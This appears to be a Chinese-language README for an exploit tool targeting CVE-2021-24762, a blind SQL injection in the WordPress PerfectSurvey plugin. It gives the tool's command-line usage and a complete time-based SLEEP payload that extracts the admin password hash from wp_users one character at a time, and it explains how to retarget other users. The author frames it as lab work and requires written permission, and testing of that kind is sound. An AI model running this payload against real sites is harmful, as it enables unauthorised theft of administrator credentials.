本仓库展示了一个针对 CVE-2021-24762 的漏洞利用程序。这是一个盲 SQL 注入利用程序,在默认配置下可提取管理员密码。
在做基于带 PerfectSurvey 插件的 Wordpress 实验室时,我卡在了一个 SQL 漏洞上。我找到的唯一可用的 PoC 都基于 sqlmap,而且在我工作的实验室中无法正常工作(存在大量额外问题,例如应用返回 404、超时波动过大以及其他问题)。因此我创建了这个工具来利用该实验室。
____ _ ___ ____
/ ___| / \ |_ _| / ___|
| | / _ \ | | \___ \
| |___ / ___ \ | | __ ) |
\____|/_/ \_\ |___| |____/
CAIS - Inteligência em Cibersegurança
Exploit for: CVE-2021-24762
usage: exploit_cve-2021-24762.py [-h] [-u URL] [-p PATH] [-d DELAY] [-t TIMEOUT] [-c CHARSET] [-m MAX_LEN] [-v]
Safe CLI wrapper — receives url/path/delay/timeout/charset and forwards it
options:
-h, --help show this help message and exit
-u, --url URL Base URL (default: http://192.168.10.10)
-p, --path PATH path (default: /wp-admin/admin-ajax.php)
-d, --delay DELAY delay in seconds (default: 30)
-t, --timeout TIMEOUT
timeout in seconds (default: delay + 15)
-c, --charset CHARSET
charset to be used (default: alnum + ./$_-@)
-m, --max-len MAX_LEN
maximum length (default: 20)
-v, --verbose activates log debugging
Python 脚本接收上述参数。如果未传入这些参数,脚本将使用其默认值执行。
理想情况下,你至少需要传入 URL。使用 -u 或 --url 传入。其他参数大概率可以使用默认值。
在默认配置下,它将获取 admin 用户的密码哈希。该配置体现在 payload 变量的 user_login 值中:
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"
若你需要获取其他用户的哈希,请根据你的需求更改 "0x61646d696e"(admin)。
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"限制使用 — 本仓库包含敏感内容,仅供合乎道德且负责任地使用。 请记住,你必须获得所测试系统所有者的书面许可。任何超出此范围的使用均不被允许,责任将由你自行承担(你想进监狱吗?)。
exploit_cve-2021-24762 — 漏洞利用程序。README.ME — 本文件。2025-10-10 — c4cnm — 创建及初始修改
GNU General Public License v3 (GPL)